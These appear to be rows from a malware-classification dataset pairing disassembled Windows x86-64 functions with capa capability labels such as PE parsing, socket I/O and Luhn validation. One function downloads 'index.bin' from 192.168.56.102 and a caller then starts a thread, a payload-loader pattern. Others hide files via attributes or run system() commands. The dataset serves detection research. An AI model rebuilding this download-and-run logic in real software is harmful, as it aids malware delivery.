joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002ef0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x140002f3d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002f34
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140002f3f
add rax, 0x28
cmp rax, r9
jne 0x140002f20
xor eax, eax
ret

Function at 0x140002f40
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002fd0
mov rdx, qword [0x14109ed60]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x140002fbe
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140002fbe
cmp word [rax + 0x18], 0x20b
jne 0x140002fbe
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002fd0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002fa9
add rbx, 0x28
cmp rbx, rdi
je 0x140002fd0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002fa0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002fe0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14109ed60]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003000
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003008
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003000
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000305d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003054
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003000
add rax, 0x28
cmp rax, r9
jne 0x140003040
xor eax, eax
ret

Function at 0x140003060
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14109ed60]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000307f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003088
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000307f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400030a0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14109ed60]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400030c0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400030c8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400030c0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140003110
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140003107
test rcx, rcx
je 0x1400030c0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400030f8
xor eax, eax
ret
Function at 0x140003120
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14109ed60]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000313f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003148
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140003160
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14109ed60]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003180
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003188
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003180
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140003180
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400031d4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400031e0
add rdx, 0x28
cmp r9, rdx
jne 0x1400031c0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400031f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14109ed60]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140003212
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140003220
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003212
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140003212
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140003212
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140003275
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140003288
add rdx, 0x28
cmp rdx, r10
jne 0x140003260
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140003297
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400032a7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000327e
test ecx, ecx
jg 0x140003290
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001070
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor esi, esi
mov r13, r8
mov r12, rdx
mov dword [rsp + 0x30], esi
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
lea r14d, [rsi + 1]
mov edi, esi
mov ebx, esi
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbp, rax
test rax, rax
jne 0x1400010d9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____InternetOpenW_Failed_With_Error_:__d__n
call fcn.140001010
mov eax, esi
jmp 0x140001253
mov qword [rsp + 0x28], rsi
lea rdx, str.http:__192.168.56.102_index.bin
xor r9d, r9d
mov dword [rsp + 0x20], 0x400
xor r8d, r8d
mov qword [rsp + 0x80], r15
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r15, rax
test rax, rax
jne 0x140001142
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____InternetOpenUrlW_Failed_With_Error_:__d__n
call fcn.140001010
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
lea edx, [r15 + 0x27]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov eax, esi
jmp 0x14000124b
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x140001213
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rax
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400011ff
nop dword [rax]
mov edx, dword [rsp + 0x30]
add rdi, rdx
test rbx, rbx
jne 0x140001197
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x1400011a9
mov r8d, 0x42
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbx, rax
test rax, rax
je 0x140001213
mov r8d, dword [rsp + 0x30]
mov rcx, rax
sub rcx, r8
mov rdx, rsi
add rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memset
cmp dword [rsp + 0x30], 0x400
jb 0x14000126f
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001180
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____InternetReadFile_Failed_With_Error_:__d__n
call fcn.140001010
xor r14d, r14d
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x27]
call qword [sym.imp.WININET.dll_InternetSetOptionW]
test rsi, rsi
je 0x140001248
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, r14d
mov r15, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001620
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov qword [r12], rbx
mov qword [r13], rdi
jmp 0x140001216
Function at 0x140001570
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140001510]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x1400015d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateThread_Failed_With_Error_:__d__n
call fcn.140001010
mov eax, 0xffffffff
add rsp, 0x30
pop rbx
ret
mov r9, qword [rsp + 0x40]
mov rdx, rax
mov r8, qword [rsp + 0x48]
call fcn.140001280
test eax, eax
je 0x1400015cd
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
add rsp, 0x30
pop rbx
ret

Function at 0x140001ef4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001f3e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001f3e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001f3e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001f3e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001f3e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001f40
xor al, al
add rsp, 0x28
ret
Function at 0x140001290
Capabilities:
Set file attributes

Disassembly:
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x18], 0x10
mov rdi, rcx
jb 0x1400012a3
mov rcx, qword [rcx]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
je 0x1400012ef
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14000b4e0]
call fcn.140009000
cmp qword [rdi + 0x18], 0x10
mov rdx, rdi
jb 0x1400012d2
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140009b40
lea rdx, [0x14000b4d0]
mov rcx, rax
call fcn.140009000
jmp 0x140001347
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [0x14000b500]
mov ebx, eax
call fcn.140009000
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x14000b4e8]
call fcn.140009000
cmp qword [rdi + 0x18], 0x10
mov rdx, rdi
mov rbx, qword [rsp + 0x30]
jb 0x14000133b
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140009b40
lea rdx, [0x1400091d0]
mov rcx, rax
add rsp, 0x20
pop rdi
jmp qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
Function at 0x140001360
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor edi, edi
nop dword [rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14000b4b8]
call fcn.140009000
mov rcx, rax
lea rdx, [0x1400091d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14000b508]
call fcn.140009000
test edi, edi
je 0x1400013c9
mov ebx, edi
nop dword [rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14000b520]
call fcn.140009000
sub rbx, 1
jne 0x1400013b0
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14000b524]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
inc edi
cmp edi, 2
jle 0x140001370
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14000b4b8]
call fcn.140009000
mov rcx, rax
lea rdx, [0x1400091d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14000b4b8]
call fcn.140009000
mov rcx, rax
lea rdx, [0x1400091d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14000b528]
call fcn.140009000
mov rcx, rax
lea rdx, [0x1400091d0]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
Function at 0x140001460
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
cmp qword [rcx + 0x18], 8
jb 0x14000146e
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001484
test al, 0x10
je 0x140001484
mov al, 1
add rsp, 0x28
ret
xor al, al
add rsp, 0x28
ret
Function at 0x140002980
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x14003d040]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov qword [rsp + 0x48], rcx
lea edi, [rcx + 1]
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x34], r8d
nop dword [rax + rax]
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x40]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x1400029ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x1400029c0
mov rax, rbx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.14002d020
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret

Function at 0x140002a20
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rdi
sub rsp, 0x30
mov rax, qword [0x14003d040]
xor rax, rsp
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov rdi, rcx
call fcn.140002980
test rax, rax
jne 0x140002a5c
mov al, 1
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14002d020
add rsp, 0x30
pop rdi
ret
jns 0x140002a7e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 9
jne 0x140002a7e
xor al, al
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14002d020
add rsp, 0x30
pop rdi
ret
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rsi
lea rsi, [rsp + 0x20]
nop dword [rax]
mov r9d, 2
mov rdx, rsi
mov rcx, rdi
lea r8d, [r9 - 1]
call qword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
test eax, eax
jns 0x140002ab7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x140002a90
mov rsi, qword [rsp + 0x50]
test ebx, ebx
mov rbx, qword [rsp + 0x48]
setg al
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14002d020
add rsp, 0x30
pop rdi
ret
Function at 0x140002fd0
Capabilities:
Resolve dns

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x468
mov rax, qword [0x14003d040]
xor rax, rsp
mov qword [rsp + 0x450], rax
movzx eax, word [rcx]
mov rsi, r9
mov rdi, r8
mov ebp, edx
mov rbx, rcx
cmp ax, 2
je 0x14000300c
cmp ax, 0x17
jne 0x1400030b4
movzx ecx, word [rcx + 2]
call qword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
xor edx, edx
lea rcx, [rsp + 0x40]
mov dword [rsi], eax
mov r8d, 0x401
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], eax
lea r8, [rsp + 0x40]
mov r9d, 0x401
mov qword [rsp + 0x20], rax
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_getnameinfo]
test eax, eax
jne 0x1400030b4
lea rax, [rsp + 0x40]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140003066
mov rax, qword [rdi + 0x18]
cmp rbx, rax
ja 0x1400030a0
mov rsi, rdi
cmp rax, 0xf
jbe 0x140003084
mov rsi, qword [rdi]
mov r8, rbx
mov qword [rdi + 0x10], rbx
lea rdx, [rsp + 0x40]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov al, 1
mov byte [rsi + rbx], 0
jmp 0x1400030b6
lea r9, [rsp + 0x40]
mov rdx, rbx
mov rcx, rdi
call fcn.1400066c0
mov al, 1
jmp 0x1400030b6
xor al, al
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.14002d020
add rsp, 0x468
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x140003450
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x260
mov rax, qword [0x14003d040]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rax, qword [rcx + 8]
mov rdi, rcx
mov r8, qword [rcx + 0x28]
mov rdx, qword [rcx + 0x20]
mov qword [rsp + 0x48], rax
lea esi, [rax + 1]
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x34], r8d
nop dword [rax]
lea rax, [rsp + 0x30]
xor r9d, r9d
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, esi
call qword [sym.imp.WS2_32.dll_select]
mov ebx, eax
test eax, eax
jns 0x1400034cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x1400034a0
test ebx, ebx
jle 0x1400034e2
mov rcx, qword [rdi + 8]
call fcn.140002a20
test al, al
je 0x1400034e2
mov al, 1
jmp 0x1400034e4
xor al, al
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.14002d020
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140003510
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rsi
push rdi
push r14
sub rsp, 0x28
mov rbx, rcx
mov eax, 0x7fffffff
mov rcx, qword [rcx + 0x48]
cmp r8, rax
mov rdi, r8
mov r14, rdx
cmova rdi, rax
mov rsi, qword [rbx + 0x50]
cmp rcx, rsi
jae 0x140003580
mov rdx, qword [rbx + 0x30]
sub rsi, rcx
add rdx, rcx
mov rcx, r14
cmp rdi, rsi
ja 0x140003567
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add qword [rbx + 0x48], rdi
mov rax, rdi
add rsp, 0x28
pop r14
pop rdi
pop rsi
pop rbx
ret
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add qword [rbx + 0x48], rsi
mov rax, rsi
add rsp, 0x28
pop r14
pop rdi
pop rsi
pop rbx
ret
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + ioctlsocket]
test al, al
jne 0x14000359e
mov rax, 0xffffffffffffffff
add rsp, 0x28
pop r14
pop rdi
pop rsi
pop rbx
ret
xor eax, eax
mov qword [rsp + 0x68], rbp
mov rbp, qword [rbx + 8]
mov qword [rbx + 0x48], rax
mov qword [rbx + 0x50], rax
cmp rdi, 0x1000
jae 0x140003650
mov qword [rsp + 0x20], r15
mov r15, qword [rbx + 0x30]
nop word [rax + rax]
xor r9d, r9d
mov r8d, 0x1000
mov rdx, r15
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
movsxd rsi, eax
test eax, eax
jns 0x1400035f7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x1400035d0
mov r15, qword [rsp + 0x20]
test rsi, rsi
jle 0x140003615
mov rdx, qword [rbx + 0x30]
mov rcx, r14
cmp rsi, rdi
jg 0x140003627
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rbp, qword [rsp + 0x68]
mov rax, rsi
add rsp, 0x28
pop r14
pop rdi
pop rsi
pop rbx
ret
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rbp, qword [rsp + 0x68]
mov rax, rdi
mov qword [rbx + 0x48], rdi
mov qword [rbx + 0x50], rsi
add rsp, 0x28
pop r14
pop rdi
pop rsi
pop rbx
ret
xor r9d, r9d
mov r8d, edi
mov rdx, r14
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
movsxd rbx, eax
test eax, eax
jns 0x140003674
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x140003650
mov rbp, qword [rsp + 0x68]
mov rax, rbx
add rsp, 0x28
pop r14
pop rdi
pop rsi
pop rbx
ret

Function at 0x140003690
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov rax, qword [rcx]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
call qword [rax + reloc.WS2_32.dll_recv]
test al, al
jne 0x1400036c9
mov rax, 0xffffffffffffffff
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov rdi, qword [rdi + 8]
mov qword [rsp + 0x38], rbx
xor r9d, r9d
mov r8d, esi
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
movsxd rbx, eax
test eax, eax
jns 0x1400036f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x1400036d2
mov rbp, qword [rsp + 0x40]
mov rax, rbx
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x140003790
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [0x14003d040]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rcx, qword [rcx + 8]
mov rdi, r8
mov rbx, rdx
mov dword [rsp + 0x20], 0x80
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1400037e9
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov r9, rdi
mov r8, rbx
call fcn.140002fd0
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14002d020
mov rbx, qword [rsp + 0xe8]
add rsp, 0xc0
pop rdi
ret

Function at 0x1400054d0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x140005504
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x1400054f0
ret
Function at 0x14000c090
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x14000c15c
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x14000c15c
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x14000c175
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
je 0x14000c14c
cmp byte [rax], 0x5c
jne 0x14000c146
lea rdx, [rax + 1]
cmp rdx, rcx
je 0x14000c146
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x14000c132
movzx ecx, byte [rdx]
sub cl, 0x28
cmp cl, 1
jbe 0x14000c143
test r8b, 0x10
jne 0x14000c146
movzx ecx, byte [rdx]
sub cl, 0x7b
test cl, 0xfd
jne 0x14000c146
mov rax, rdx
inc rax
mov qword [rbx], rax
mov rcx, rbx
call fcn.140008bc0
test edi, edi
jne 0x14000c0b0
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.140008bb0
int3